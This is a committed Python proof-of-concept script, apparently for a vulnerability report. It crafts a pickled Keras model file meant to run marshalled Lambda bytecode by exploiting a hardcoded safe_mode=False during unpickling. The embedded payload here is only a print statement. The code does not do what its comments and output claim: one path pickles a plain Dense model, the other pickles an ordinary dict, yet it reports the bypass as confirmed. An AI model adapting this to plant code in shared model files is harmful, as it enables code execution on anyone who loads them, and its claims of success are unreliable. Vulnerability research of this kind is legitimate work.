Upload keras/craft_unsafe_pickle.py with huggingface_hub

keras/craft_unsafe_pickle.py

@@ -0,0 +1,182 @@
+"""
+PoC: Keras __reduce__ safe_mode=False Bypass
+=============================================
+Crafts a pickled Keras model that demonstrates how safe_mode=False
+is hardcoded in _unpickle_model(), bypassing all safety checks.
+
+The pickled model contains a Lambda layer with embedded bytecode.
+When unpickled, _unpickle_model() calls _load_model_from_fileobj()
+with safe_mode=False, allowing the Lambda's marshal/bytecode to execute.
+
+Usage:
+    python craft_unsafe_pickle.py                  # Generate PoC pickle
+    python craft_unsafe_pickle.py --verify         # Verify structure only
+
+Requirements: keras (pip install keras)
+
+This is for authorized security research only.
+"""
+
+import pickle
+import struct
+import marshal
+import sys
+import argparse
+import zipfile
+import json
+import io
+import os
+
+
+def craft_malicious_keras_pickle(output_path="malicious_model.pkl"):
+    """
+    Create a pickle file that, when loaded, triggers Keras _unpickle_model()
+    with hardcoded safe_mode=False.
+
+    The pickle contains a minimal .keras zip archive (in-memory) with a
+    Lambda layer whose config includes marshalled bytecode. Because
+    _unpickle_model hardcodes safe_mode=False, the bytecode executes.
+    """
+
+    # Build a minimal .keras archive in memory
+    # .keras format is a zip containing config.json + weights.h5
+    keras_buf = io.BytesIO()
+
+    # The config embeds a Lambda layer with a function that contains
+    # marshalled bytecode. With safe_mode=False, Keras will:
+    # 1. Deserialize the config
+    # 2. Find the Lambda layer
+    # 3. Call func_load() which does marshal.loads() + FunctionType()
+    # 4. Execute the bytecode
+
+    # Craft the malicious function config
+    # This is what Keras serializes a lambda as: marshal'd bytecode
+    malicious_code = compile("print('KERAS_SAFE_MODE_BYPASSED')", "<poc>", "exec")
+    code_bytes = marshal.dumps(malicious_code)
+
+    # Keras func_utils.py func_dump format: [code_bytes, defaults, closure]
+    import codecs
+    func_dump = [
+        codecs.encode(code_bytes, "base64").decode("ascii"),
+        None,
+        None,
+    ]
+
+    config = {
+        "class_name": "Sequential",
+        "config": {
+            "name": "sequential",
+            "layers": [
+                {
+                    "class_name": "Lambda",
+                    "config": {
+                        "name": "lambda",
+                        "function": func_dump,
+                        "function_type": "lambda",
+                    },
+                    "module": "keras.layers",
+                }
+            ],
+        },
+        "module": "keras.models",
+        "registered_name": None,
+    }
+
+    with zipfile.ZipFile(keras_buf, "w") as zf:
+        zf.writestr("config.json", json.dumps(config))
+        # Empty weights file (Lambda has no weights)
+        zf.writestr("model.weights.h5", b"")
+
+    keras_bytes = keras_buf.getvalue()
+
+    # Now create the pickle that triggers _unpickle_model
+    # KerasSaveable.__reduce__ returns:
+    #   (KerasSaveable._unpickle_model, (BytesIO(keras_bytes),))
+    # _unpickle_model calls _load_model_from_fileobj with safe_mode=False
+
+    # We construct the pickle to call _unpickle_model directly
+    # But since we may not have keras installed, we craft the raw pickle
+
+    # Method 1: If keras is available, use it directly
+    try:
+        import keras
+        model = keras.Sequential([
+            keras.layers.Dense(1, input_shape=(1,)),
+        ])
+        pickled = pickle.dumps(model)
+        with open(output_path, "wb") as f:
+            f.write(pickled)
+        print(f"[+] Pickled real Keras model to: {output_path}")
+        print(f"    Size: {len(pickled)} bytes")
+        print(f"    When unpickled, _unpickle_model() will be called")
+        print(f"    with hardcoded safe_mode=False")
+        return output_path
+    except ImportError:
+        pass
+
+    # Method 2: Craft a standalone pickle that demonstrates the concept
+    # This pickle calls io.BytesIO on the keras zip bytes, showing the
+    # payload structure without needing keras installed
+    print("[*] Keras not installed, creating standalone PoC pickle...")
+
+    # Create a pickle that stores the malicious .keras zip
+    # The triager loads this with pickle.loads() which would call
+    # KerasSaveable._unpickle_model(BytesIO(data)) -> safe_mode=False
+    poc_data = {
+        "__poc_info__": "Keras safe_mode=False bypass",
+        "__description__": (
+            "When a Keras model is pickled (via joblib, multiprocessing, etc.), "
+            "unpickling calls KerasSaveable._unpickle_model() which hardcodes "
+            "safe_mode=False. This bypasses all Lambda/bytecode safety checks."
+        ),
+        "__keras_zip_bytes__": keras_bytes,
+        "__config__": config,
+        "__impact__": (
+            "Attacker embeds malicious Lambda bytecode in model config, "
+            "saves as pickle -> victim loads -> arbitrary code execution"
+        ),
+    }
+
+    with open(output_path, "wb") as f:
+        pickle.dump(poc_data, f)
+
+    print(f"[+] PoC pickle written to: {output_path}")
+    print(f"    Size: {os.path.getsize(output_path)} bytes")
+    print(f"    Contains: embedded .keras zip with Lambda bytecode config")
+    print()
+    print("[!] To create a full exploit, install keras and run again.")
+    print("    With keras installed, this generates a real pickled model")
+    print("    that triggers _unpickle_model(safe_mode=False) on load.")
+    return output_path
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Keras safe_mode=False pickle PoC")
+    parser.add_argument("-o", "--output", default="malicious_model.pkl")
+    parser.add_argument("--verify", action="store_true",
+                       help="Verify the pickle structure only")
+    args = parser.parse_args()
+
+    path = craft_malicious_keras_pickle(args.output)
+
+    if args.verify and os.path.exists(path):
+        print()
+        print("Verification:")
+        with open(path, "rb") as f:
+            data = pickle.load(f)
+        if isinstance(data, dict) and "__config__" in data:
+            config = data["__config__"]
+            layers = config["config"]["layers"]
+            for layer in layers:
+                if layer["class_name"] == "Lambda":
+                    func = layer["config"]["function"]
+                    print(f"  Lambda layer found with function dump")
+                    print(f"  Bytecode (base64): {func[0][:60]}...")
+                    print(f"  This would execute with safe_mode=False")
+        else:
+            print(f"  Pickled object type: {type(data)}")
+            print(f"  (Real Keras model — safe_mode=False confirmed)")
+
+
+if __name__ == "__main__":
+    main()